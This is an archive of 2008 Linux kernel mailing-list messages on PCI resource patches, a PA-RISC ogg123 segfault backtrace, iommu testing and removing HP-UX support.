Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753051AbYCEURx (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 5 Mar 2008 15:17:53 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1753239AbYCEURw
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 5 Mar 2008 15:17:52 -0500
Original-Received: from pentafluge.infradead.org ([213.146.154.40]:49132 "EHLO
	pentafluge.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753051AbYCEURv (ORCPT
	<rfc822;linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Wed, 5 Mar 2008 15:17:51 -0500
Original-Received: from dsl093-040-174.pdx1.dsl.speakeasy.net ([66.93.40.174] helo=localhost)
	by pentafluge.infradead.org with esmtpsa (Exim 4.68 #1 (Red Hat Linux))
	id 1JX02K-0002OB-Ts; Wed, 05 Mar 2008 20:16:25 +0000
Content-Disposition: inline
In-Reply-To: <28205.1204729990-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:33 gmane.linux.ports.arm.kernel:39273 gmane.linux.ports.parisc:177 gmane.linux.ports.ppc64.devel:36748
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/177>

On Wed, Mar 05, 2008 at 03:13:10PM +0000, David Howells wrote:
> 
> Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org> wrote:
> 
> > Use the generic pci_enable_resources() instead of the arch-specific code.
> > 
> > Unlike this arch-specific code, the generic version:
> >     - checks PCI_NUM_RESOURCES (11), not 6, resources
> >     - skips resources that have neither IORESOURCE_IO nor IORESOURCE_MEM set
> >     - skips ROM resources unless IORESOURCE_ROM_ENABLE is set
> >     - checks for resource collisions with "!r->parent"
> > 
> > Signed-off-by: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>
> 
> Acked-by: David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>

added, thanks.

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-arch" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Segfault when ogg123 exits
Date: Wed, 5 Mar 2008 21:31:28 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <20080305213128.GA27120@miranda.arrow>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204753511 5480 80.91.229.12 (5 Mar 2008 21:45:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2008 21:45:11 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 05 22:45:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JX1Qb-00028C-5P
	for glpp-linux-parisc@gmane.org; Wed, 05 Mar 2008 22:45:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1762973AbYCEVoZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Mar 2008 16:44:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1762379AbYCEVoY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Mar 2008 16:44:24 -0500
Original-Received: from queueout02-winn.ispmail.ntl.com ([81.103.221.56]:64196 "EHLO
	queueout02-winn.ispmail.ntl.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758737AbYCEVoU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Mar 2008 16:44:20 -0500
Original-Received: from aamtaout03-winn.ispmail.ntl.com ([81.103.221.35])
          by mtaout01-winn.ispmail.ntl.com with ESMTP
          id <20080305213341.IZEU16169.mtaout01-winn.ispmail.ntl.com@aamtaout03-winn.ispmail.ntl.com>
          for <linux-parisc@vger.kernel.org>;
          Wed, 5 Mar 2008 21:33:41 +0000
Original-Received: from miranda.arrow ([213.107.26.151])
          by aamtaout03-winn.ispmail.ntl.com with ESMTP
          id <20080305213624.QDOO26699.aamtaout03-winn.ispmail.ntl.com@miranda.arrow>
          for <linux-parisc@vger.kernel.org>;
          Wed, 5 Mar 2008 21:36:24 +0000
Original-Received: from sdb by miranda.arrow with local (Exim 4.63)
	(envelope-from <sdbrady@ntlworld.com>)
	id 1JX1Cy-00073q-QV
	for linux-parisc@vger.kernel.org; Wed, 05 Mar 2008 21:31:28 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: sdbrady@ntlworld.com
X-SA-Exim-Scanned: No (on miranda.arrow); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/178>

Hi,

It seems ogg123 segfaults when it finishes playing.  Note that I'm not
pressing ^C -- I'm not even sure whether the "^C bug" is still around.
>From the backtrace, it looks like this may well be the same problem I
reported with SDL_Quit() and timer_create():

#0  0x00000000 in ?? ()
#1  0x400a7aac in _dl_close_worker () from /lib/ld.so.1
#2  0x400a7c08 in _dl_close () from /lib/ld.so.1
#3  0x400190dc in dlclose_doit () from /lib/libdl.so.2
#4  0x400a1834 in _dl_catch_error () from /lib/ld.so.1
#5  0x40019590 in _dlerror_run () from /lib/libdl.so.2
#6  0x40019118 in dlclose () from /lib/libdl.so.2
#7  0x402f9ffc in ao_shutdown () from /usr/lib/libao.so.2
#8  0x40c57bd4 in exit () from /lib/libc.so.6
#9  0x000182fc in main ()

Would any glibc hackers feel like taking a closer look at this?

Cheers,
-- 
Stuart Brady
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH -mm 0/3] fix iommu segment boundary problems (parisc)
Date: Wed, 5 Mar 2008 19:19:31 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <20080306001933.248744E43@hiauly1.hia.nrc.ca>
References: <20080305154502.GA32538@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204762795 3444 80.91.229.12 (6 Mar 2008 00:19:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Mar 2008 00:19:55 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, tomof@acm.org, kyle@parisc-linux.org,
	matthew@wil.cx, grundler@parisc-linux.org,
	akpm@linux-foundation.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 06 01:20:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JX3qM-0001Bv-9O
	for glpp-linux-parisc@gmane.org; Thu, 06 Mar 2008 01:20:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752096AbYCFATo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Mar 2008 19:19:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752289AbYCFATo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Mar 2008 19:19:44 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1385 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752096AbYCFATn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Mar 2008 19:19:43 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 248744E43; Wed,  5 Mar 2008 19:19:32 -0500 (EST)
In-Reply-To: <20080305154502.GA32538@colo.lackof.org> from "Grant Grundler" at Mar 5, 2008 08:45:02 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:179 gmane.linux.kernel:650462
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/179>

> And thanks to Joel Soete (rubisher) for testing. I tried to test the
> sba_iommu code on my local box but had issues with the unpatched kernel
> (using kyle's parisc-2.6.git tree) that I have yet to resolve (could be
> HW problems).

I built two kernels today using kyle's parisc-2.6.git tree (UP 32 bit
and SMP 64 bit).  Aside from some section mismatch warnings, they both
seem to work fine.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 4/6] ARM: move bridge enable out of
	pcibios_enable_resources()
Date: Thu, 6 Mar 2008 15:06:40 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20080306150640.GL3283@flint.arm.linux.org.uk>
References: <20080228000437.880811124@ldl.fc.hp.com>
	<20080228001053.013269726@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204816104 1517 80.91.229.12 (6 Mar 2008 15:08:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Mar 2008 15:08:24 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Kyle McMartin <kyle@parisc-linux.org>, linuxppc-dev@ozlabs.org,
	Paul Mackerras <paulus@samba.org>, linux-pci@atrey.karlin.mff.cuni.cz,
	linux-arm-kernel@lists.arm.linux.org.uk
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.arm.linux.org.uk Thu Mar 06 16:08:50 2008
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.arm.linux.org.uk>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from zeniv.linux.org.uk ([195.92.253.2])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JXHht-0002nR-Nj
	for linux-arm-kernel@m.gmane.org; Thu, 06 Mar 2008 16:08:29 +0100
Original-Received: from [2002:4e20:1eda:1:201:3dff:fe00:156] (helo=lists.arm.linux.org.uk)
	by ZenIV.linux.org.uk with esmtpsa (Exim 4.63 #1 (Red Hat Linux))
	id 1JXHgv-0001bG-It; Thu, 06 Mar 2008 15:07:29 +0000
Original-Received: from localhost ([127.0.0.1] helo=lists.arm.linux.org.uk)
	by lists.arm.linux.org.uk with esmtp (Exim 4.63)
	(envelope-from <linux-arm-kernel-bounces@lists.arm.linux.org.uk>)
	id 1JXHgq-0008VR-Cf; Thu, 06 Mar 2008 15:07:24 +0000
Original-Received: from flint.arm.linux.org.uk ([2002:4e20:1eda:1:201:2ff:fe14:8fad])
	by lists.arm.linux.org.uk with esmtps
	(TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.63)
	(envelope-from <linux@flint.arm.linux.org.uk>) id 1JXHgE-0008VL-1g
	for linux-arm-kernel@lists.arm.linux.org.uk;
	Thu, 06 Mar 2008 15:06:46 +0000
Original-Received: from linux by flint.arm.linux.org.uk with local (Exim 4.62)
	(envelope-from <linux@flint.arm.linux.org.uk>)
	id 1JXHg8-0005oH-MP; Thu, 06 Mar 2008 15:06:40 +0000
Content-Disposition: inline
In-Reply-To: <20080228001053.013269726@ldl.fc.hp.com>
User-Agent: Mutt/1.4.2.1i
X-BeenThere: linux-arm-kernel@lists.arm.linux.org.uk
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: ARM Linux kernel discussions <linux-arm-kernel.lists.arm.linux.org.uk>
List-Unsubscribe: <http://lists.arm.linux.org.uk/mailman/listinfo/linux-arm-kernel>,
	<mailto:linux-arm-kernel-request@lists.arm.linux.org.uk?subject=unsubscribe>
List-Archive: <http://lists.arm.linux.org.uk/lurker/list/linux-arm-kernel.html>
List-Post: <mailto:linux-arm-kernel@lists.arm.linux.org.uk>
List-Help: <mailto:linux-arm-kernel-request@lists.arm.linux.org.uk?subject=help>
List-Subscribe: <http://lists.arm.linux.org.uk/mailman/listinfo/linux-arm-kernel>,
	<mailto:linux-arm-kernel-request@lists.arm.linux.org.uk?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.arm.linux.org.uk
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org+linux-arm-kernel=m.gmane.org@lists.arm.linux.org.uk
Xref: news.gmane.org gmane.linux.ports.arm.kernel:39317 gmane.linux.kernel.cross-arch:34 gmane.linux.ports.parisc:180 gmane.linux.ports.ppc64.devel:36783
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/180>

On Wed, Feb 27, 2008 at 05:04:41PM -0700, Bjorn Helgaas wrote:
> Move bridge enable from pcibios_enable_resources() to
> platform_pci_enable_device() so the former matches other
> architectures and can be shared.
> 
> Signed-off-by: Bjorn Helgaas <bjorn.helgaas@hp.com>
> 
> Index: work6/arch/arm/kernel/bios32.c
> ===================================================================
> --- work6.orig/arch/arm/kernel/bios32.c	2008-02-27 11:25:29.000000000 -0700
> +++ work6/arch/arm/kernel/bios32.c	2008-02-27 11:55:59.000000000 -0700
> @@ -683,15 +683,32 @@
>  			cmd |= PCI_COMMAND_MEMORY;
>  	}
>  
> +	if (cmd != old_cmd) {
> +		printk("PCI: enabling device %s (%04x -> %04x)\n",
> +		       pci_name(dev), old_cmd, cmd);

Should be dev_info().

Apart from that...

Acked-by: Russell King <rmk+kernel@arm.linux.org.uk>

-------------------------------------------------------------------
List admin: http://lists.arm.linux.org.uk/mailman/listinfo/linux-arm-kernel
FAQ:        http://www.arm.linux.org.uk/mailinglists/faq.php
Etiquette:  http://www.arm.linux.org.uk/mailinglists/etiquette.php


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [patch 4/6] ARM: move bridge enable out of pcibios_enable_resources()
Date: Thu, 6 Mar 2008 08:42:49 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <200803060842.51127.bjorn.helgaas@hp.com>
References: <20080228000437.880811124@ldl.fc.hp.com> <20080228001053.013269726@ldl.fc.hp.com> <20080306150640.GL3283@flint.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204818083 9406 80.91.229.12 (6 Mar 2008 15:41:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Mar 2008 15:41:23 +0000 (UTC)
Cc: linux-pci-jyMamyUUXNJG4ohzP4jBZS1Fcj925eT/@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>,
	Grant Grundler <grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Matthew Wilcox <matthew-Ztpu424NOJ8@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	Kyle McMartin <kyle-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>, linuxppc-dev-mnsaURCQ41sdnm+yROfE0A@public.gmane.org,
	Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	linux-arm-kernel-xIg/pKzrS19vn6HldHNs0ANdhmdF6hFW@public.gmane.org
To: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Original-X-From: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Mar 06 16:41:37 2008
Return-path: <linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JXIDV-0007aQ-Nu
	for glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Thu, 06 Mar 2008 16:41:10 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1757839AbYCFPke (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 6 Mar 2008 10:40:34 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1756507AbYCFPke
	(ORCPT <rfc822;linux-arch-outgoing>); Thu, 6 Mar 2008 10:40:34 -0500
Original-Received: from g1t0027.austin.hp.com ([15.216.28.34]:23709 "EHLO
	g1t0027.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756237AbYCFPkd (ORCPT
	<rfc822;linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 6 Mar 2008 10:40:33 -0500
Original-Received: from g1t0027.austin.hp.com (localhost.localdomain [127.0.0.1])
	by receive-from-antispam-filter (Postfix) with SMTP id A7651385F0;
	Thu,  6 Mar 2008 15:40:32 +0000 (UTC)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by g1t0027.austin.hp.com (Postfix) with ESMTP id 686E4385D4;
	Thu,  6 Mar 2008 15:40:31 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP id F04191E6482;
	Thu,  6 Mar 2008 15:40:30 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id CD16339C002;
	Thu,  6 Mar 2008 08:40:30 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JlntWy1a20fi; Thu,  6 Mar 2008 08:40:29 -0700 (MST)
Original-Received: from tigger.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id 8A49639C001;
	Thu,  6 Mar 2008 08:40:29 -0700 (MST)
User-Agent: KMail/1.9.6 (enterprise 0.20070907.709405)
In-Reply-To: <20080306150640.GL3283-f404yB8NqCZvn6HldHNs0ANdhmdF6hFW@public.gmane.org>
Content-Disposition: inline
Original-Sender: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:35 gmane.linux.ports.parisc:181 gmane.linux.ports.ppc64.devel:36786 gmane.linux.ports.arm.kernel:39323
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/181>

On Thursday 06 March 2008 08:06:40 am Russell King - ARM Linux wrote:
> On Wed, Feb 27, 2008 at 05:04:41PM -0700, Bjorn Helgaas wrote:
> > Move bridge enable from pcibios_enable_resources() to
> > platform_pci_enable_device() so the former matches other
> > architectures and can be shared.
> > 
> > Signed-off-by: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>
> > 
> > Index: work6/arch/arm/kernel/bios32.c
> > ===================================================================
> > --- work6.orig/arch/arm/kernel/bios32.c	2008-02-27 11:25:29.000000000 -0700
> > +++ work6/arch/arm/kernel/bios32.c	2008-02-27 11:55:59.000000000 -0700
> > @@ -683,15 +683,32 @@
> >  			cmd |= PCI_COMMAND_MEMORY;
> >  	}
> >  
> > +	if (cmd != old_cmd) {
> > +		printk("PCI: enabling device %s (%04x -> %04x)\n",
> > +		       pci_name(dev), old_cmd, cmd);
> 
> Should be dev_info().
> 
> Apart from that...
> 
> Acked-by: Russell King <rmk+kernel-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>

I fixed that in the v3 patch that Greg KH put in his tree.

Thanks,
  Bjorn
--
To unsubscribe from this list: send the line "unsubscribe linux-arch" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch] Remove HPUX and SOM support
Date: Thu, 6 Mar 2008 13:10:05 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20080306181005.GA8170@phobos.i.cabal.ca>
References: <20080303052828.GJ6339@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204827100 14700 80.91.229.12 (6 Mar 2008 18:11:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Mar 2008 18:11:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 06 19:12:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JXKYe-0004rE-4j
	for glpp-linux-parisc@gmane.org; Thu, 06 Mar 2008 19:11:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757408AbYCFSKK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 Mar 2008 13:10:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751357AbYCFSKK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 6 Mar 2008 13:10:10 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:17938 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758330AbYCFSKH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 Mar 2008 13:10:07 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 21A83178064; Thu,  6 Mar 2008 13:10:06 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20080303052828.GJ6339@tausq.org>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:182
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/182>

On Sun, Mar 02, 2008 at 09:28:28PM -0800, Randolph Chung wrote:
> Remove unsupported and bitrotten HPUX and SOM support from the kernel.
> 
> Signed-off-by: Randolph Chung <tausq@parisc-linux.org>
> 
> randolph

I still have some HP-UX boxes... I guess I can fix it.

Maybe I'll get HP-UX elf support going too, or something.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: [parisc-linux] [PATCH] Section mismatch fix
Date: Thu, 6 Mar 2008 13:10:45 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20080306181045.GB8170@phobos.i.cabal.ca>
References: <200712261807.01768.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204827101 14705 80.91.229.12 (6 Mar 2008 18:11:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Mar 2008 18:11:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 06 19:12:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JXKZ0-00051F-V1
	for glpp-linux-parisc@gmane.org; Thu, 06 Mar 2008 19:11:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935512AbYCFSKs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 Mar 2008 13:10:48 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S935506AbYCFSKr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 6 Mar 2008 13:10:47 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:18012 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S935498AbYCFSKq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 Mar 2008 13:10:46 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 72D9A178064; Thu,  6 Mar 2008 13:10:45 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200712261807.01768.deller@gmx.de>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:183
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/183>

On Wed, Dec 26, 2007 at 06:07:01PM +0100, Helge Deller wrote:
> Just resending it to our new mailing list (my original mail was eaten by our old list).
> Kyle wanted to (partly) add it to his tree, but it's not there yet.
> 
> Helge
> 

Got it, sorry.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
